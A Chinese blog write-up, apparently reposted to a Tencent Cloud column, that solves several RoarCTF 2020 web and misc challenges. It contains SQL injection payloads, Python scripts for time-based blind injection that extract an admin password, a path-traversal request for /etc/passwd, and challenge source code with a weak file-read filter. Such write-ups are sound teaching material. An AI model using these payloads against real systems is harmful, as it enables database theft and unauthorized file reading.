前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >roarctf 2020

roarctf 2020

作者头像
HhhM
发布2022-08-10 16:21:05
2320
发布2022-08-10 16:21:05
举报
文章被收录于专栏:H&M的专栏H&M的专栏

roarctf 2020

2020-12-07 21:12:00
ctf - wp - roar

虽然题目质量不错。

//但是被注入恶心到的两天

签到

直接读flag读不到,读源码发现是curl,可以二次编码绕过

Payload:

代码语言:javascript
复制
http://47.104.232.98:49725/?url=file:///fla%25%36%37

Hi_433MHz

导入au,短的是0,长的是1:

得到:

代码语言:javascript
复制
011001100
011011000
011000010
011001110
011110110
001100100
001101010
011000110
001100100
001100010
011000100
001100000
011001000
001011010
001101100
011000010
001100010
001100010
001011010
001101000
001100110
001100010
001100100
001011010
001110010
001101110
001100010
011000100
001011010
001101000
001100100
001110000
011001000
001100000
001100010
011000110
011001000
011000110
001101010
001100110
001101000
011111010

ezsql

初次注入能够发现如下语句可以被执行:

代码语言:javascript
复制
username=admin'/**/and/**/(length(database())=3)#&password=1

根据回显的username error还是password来判断是否执行语句。

注出当前数据库为ctf,sql版本号为8.0.2.2,在p神小密圈看到过新特性,table statement,测试发现后面可以跟limit,于是有:

代码语言:javascript
复制
admin'/**/and/**/(('def','%s','u',4,5,6)</**/(table/**/information_schema.schemata/**/limit/**/4,1))#

发现确实有ctf这个库,然后从:

代码语言:javascript
复制
information_schema.tables

注出表名,得到:

f11114g

发现只有一个字段,那就直接注,注出来第一个是noflag,注第二个出来就是flag:

代码语言:javascript
复制
admin'/**/and/**/1^(('%s')</**/(table/**/f11114g/**/limit/**/1,1))^0#

你能登陆成功吗

fuzz一下发现简单过滤了空格,拿sqlmap跑跑得知是psql,存在延时注入,直接拿sqlmap给出了的延时payload能打延时:

代码语言:javascript
复制
username=admin&password=admin'/**/AND/**/2909=(SELECT/**/2909/**/FROM/**/PG_SLEEP(5))/**/AND/**/'YhEI'='YhEI

但拿sqlmap是跑不出来东西的,于是手测注出来ctf库,users表,脚本直接注password字段得到登陆密码。

代码语言:javascript
复制
import requests
import urllib.parse

url = 'http://139.129.98.9:30005'

tables='0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
result=""
for j in range(1,50):
 for i in tables:
  data = {
   'username':'admin',
   'password':"admin'/**/and/**/(select/**/ascii(substr((select/**/password/**/from/**/users/**/where/**/username='admin'),%s,1)))/**/between/**/%s/**/and/**/%s/**/AND/**/2909=(SELECT/**/2909/**/FROM/**/PG_SLEEP(5))/**/AND/**/'a'='a"%(j,ord(i),ord(i))
  } 
  try:
   r = requests.post(url,data=data,timeout=4)
  except Exception as e:
   result=result+i
   print(result)

登陆就有flag了。

你能登陆成功吗(re)

因为第一个注入存在非预期于是有了第二个,不过可能因为我是使用预期解,所以通杀:

代码语言:javascript
复制
import requests
import urllib.parse

url = 'http://139.129.98.9:30007'

tables='0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
result=""
for j in range(1,50):
 for i in tables:
  data = {
   'username':'admin',
   'password':"admin'/**/and/**/(select/**/ascii(substr((select/**/password/**/from/**/users/**/where/**/username='admin'),%s,1)))/**/between/**/%s/**/and/**/%s/**/AND/**/2909=(SELECT/**/2909/**/FROM/**/PG_SLEEP(5))/**/AND/**/'a'='a"%(j,ord(i),ord(i))
  } 
  try:
   r = requests.post(url,data=data,timeout=4)
  except Exception as e:
   result=result+i
   print(result)

同样登陆得flag。

HTML编码器

查看js代码能得到一个函数,改改然后在html页面在控制台上面一打就能实现任意文件读取了:

代码语言:javascript
复制
function get_source_code() {
    $.ajax({
        type:'post',
        url:'../view',
        data:JSON.stringify({
            "file" : "../../../../../../../etc/passwd",
            "time" : Math.ceil(new Date().getTime() / 1000)
        }),
        contentType: "application/json",
        success: function (data) {
            var dv = document.getElementById("Ym9iYmF0ZWEh");
            var spn = document.createElement("pre");
            spn.innerText = data;
            dv.append(spn);
        }
    })
}

读了源码发现过滤了proc:

代码语言:javascript
复制
module.exports = (app) => {

    const crypto = require('crypto');
    const fs = require('fs')
    const path = require("path")


    function md5(s)
    {
        return crypto.createHash('md5').update(s).digest('hex')
    }


    function rand(minNum,maxNum){
        switch(arguments.length){
            case 1:
                return parseInt(Math.random()*minNum+1,10);
                break;
            case 2:
                return parseInt(Math.random()*(maxNum-minNum+1)+minNum,10);
                break;
            default:
                return 0;
                break;
        }
    }


    function replaceAll (find, replace, str) {
         var find = find.replace(/[-\/\\^$*+?.()|[\]{}]/g, '\\$&');
        return str.replace(new RegExp(find, 'g'), replace);
    }


    app.get('/html', async (req, res) => {
        if (req.session.is_login !== 1) {
            res.redirect("/")
            return
        }

        let user_tpls = req.session.tpl;
        let alive_tpls = []
        await user_tpls.forEach((filename) => {
            let filepath = path.join(__dirname, `../public/tmp/${filename}`)
            if (fs.existsSync(filepath)) {
                let file = filename.split('_')
                let gTime = parseInt(file[2].replace('.html', ''))
                let now = Math.ceil(new Date().getTime() / 1000)
                if (now - gTime < 1800 ) {
                    alive_tpls.push(filename)
                }
            }
        })

        res.render("html_index", {
            "tpls" : alive_tpls.length ? alive_tpls : ["这里空空如也,快去写代码吧"],
            "name" : req.session.name
        })
    })


    app.get('/htmlide', (req, res) => {
        if (req.session.is_login !== 1) {
            res.redirect("/")
            return
        }
        let tpl_vars = req.session.current ? {'url' : '/tmp/'+req.session.current} : {}
        res.render("html_ide", tpl_vars)
    })


    app.get('/view', (req, res) => {
        if (req.session.is_login !== 1 || !req.query.file || typeof req.query.file !== 'string' || req.query.file.indexOf('..') !== -1) {
            res.end(JSON.stringify({"code" : "-1", "message" : "no you cant"}))
            return
        }

        let filepath = path.join(__dirname, '../public/tmp/' + req.query.file )

        if (!fs.existsSync(filepath)) {
            res.end("404 Not Found")
        } else {
            try {
                res.render(filepath.replace(".html", ""), {"values" : process.env})
            } catch (e) {
                console.log(e)
                res.end(JSON.stringify({"code" : "-1", "message" : "something wrong"}))
            }
        }
    })


    app.post('/view', (req, res) => {

        if (req.session.is_login !== 1
            || !req.body.file
            || typeof req.body.file !== 'string'
            || req.body.file.indexOf('proc') !== -1
            || req.body.file.indexOf('environ') !== -1
            || !req.body.time
            ||  ( Math.abs(Math.ceil(new Date().getTime() / 1000) - req.body.time) >= 4)) {
            res.end(JSON.stringify({"code" : "-1", "message" : "no you cant"}))
            return
        }

        let filepath = path.join(__dirname, '../public/tmp/' + req.body.file )

        if (!fs.existsSync(filepath)) {
            res.end(JSON.stringify({"code" : "-1", "message" : "404 Not Found"}))
        } else {
            res.end(fs.readFileSync(filepath))
        }

    })


    app.post('/htmlide', (req, res) => {

        if (req.session.is_login !== 1 || !req.body.code || !req.body.time) {
            res.end(JSON.stringify({"code" : "-1", "message" : "you are not allowed here"}))
            return
        }

        let filename = md5(req.connection.remoteAddress + req.body.time + rand.toString() ) + '_user_' + Math.ceil(new Date().getTime() / 1000) + ".html"
        let filecontent = req.body.code
        filecontent = replaceAll("for", "&#x66;&#x6f;&#x72;", filecontent)
        filecontent = replaceAll("loop", "&#x6c;&#x6f;&#x6f;&#x70;", filecontent)

        fs.writeFile(path.join(__dirname,'../public/tmp/'+filename), filecontent, (err) => {
            if (err) {
                res.end(JSON.stringify({"code" : "-1", "message" : "an error occurred"}))
                return
            } else {
                req.session.tpl.push(filename)
                req.session.current = filename;
                res.end(JSON.stringify({"code" : "0", "message" : "write file successfully"}))
            }
        })
    })
}

根据题目是需要读取环境变量,于是发现使用了swig模板去渲染:

代码语言:javascript
复制
const swig = require('swig');

读文档能够知道其使用方式,htmlide页面直接注入即可:

访问对应的html文件即可getflag。

本文原创于HhhM的博客,转载请标明出处。

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2020-12-07 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • roarctf 2020
    • 签到
      • Hi_433MHz
        • ezsql
          • 你能登陆成功吗
            • 你能登陆成功吗(re)
              • HTML编码器
              领券
              问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档